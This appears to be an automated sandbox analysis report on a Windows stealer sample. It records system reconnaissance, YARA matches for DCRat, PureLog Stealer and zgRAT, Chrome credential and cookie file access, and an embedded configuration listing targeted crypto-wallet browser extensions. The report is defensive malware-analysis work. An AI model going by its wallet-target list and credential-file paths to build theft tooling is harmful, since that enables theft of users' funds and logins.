Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1746941075.0000000012FE3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2902556731.000000000344A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: lEwK4xROgV.exe PID: 2200, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: kOfFkekrfoWUJKTEEHXqPfq.exe PID: 7896, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: lEwK4xROgV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.lEwK4xROgV.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1655955848.0000000000922000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: lEwK4xROgV.exe, type: SAMPLE
Source: Yara match	File source: 0.0.lEwK4xROgV.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\Default\AppData\Roaming\RuntimeBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\8
Source: lEwK4xROgV.exe, 00000000.00000002.1722507497.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"0":[],"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"Current User","_3":"True"},"90f3c523-0b6b-4956-a617-29c89ed8da84":{"_0":"mail.google.com;example.com;any.domain.net","_1":"mail.google.com;example.com;any.domain.net"},"8c7d95c1-4def-4a0e-952b-f3c453358f2e":{"_0":"","_1":"Full path"},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"15000000","_2":"15","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""}}
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: lEwK4xROgV.exe, 00000000.00000002.1722507497.0000000002F0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {"0":[],"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"Current User","_3":"True"},"90f3c523-0b6b-4956-a617-29c89ed8da84":{"_0":"mail.google.com;example.com;any.domain.net","_1":"mail.google.com;example.com;any.domain.net"},"8c7d95c1-4def-4a0e-952b-f3c453358f2e":{"_0":"","_1":"Full path"},"d1159ac1-2243-45e3-9bad-55df4f7732e9":{"_0":"crypto;bank;authorization;account","_1":"15000000","_2":"15","_3":"True"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds","_1":""}}
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2902556731.0000000002F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: lEwK4xROgV.exe, 00000000.00000000.1655955848.0000000000922000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data
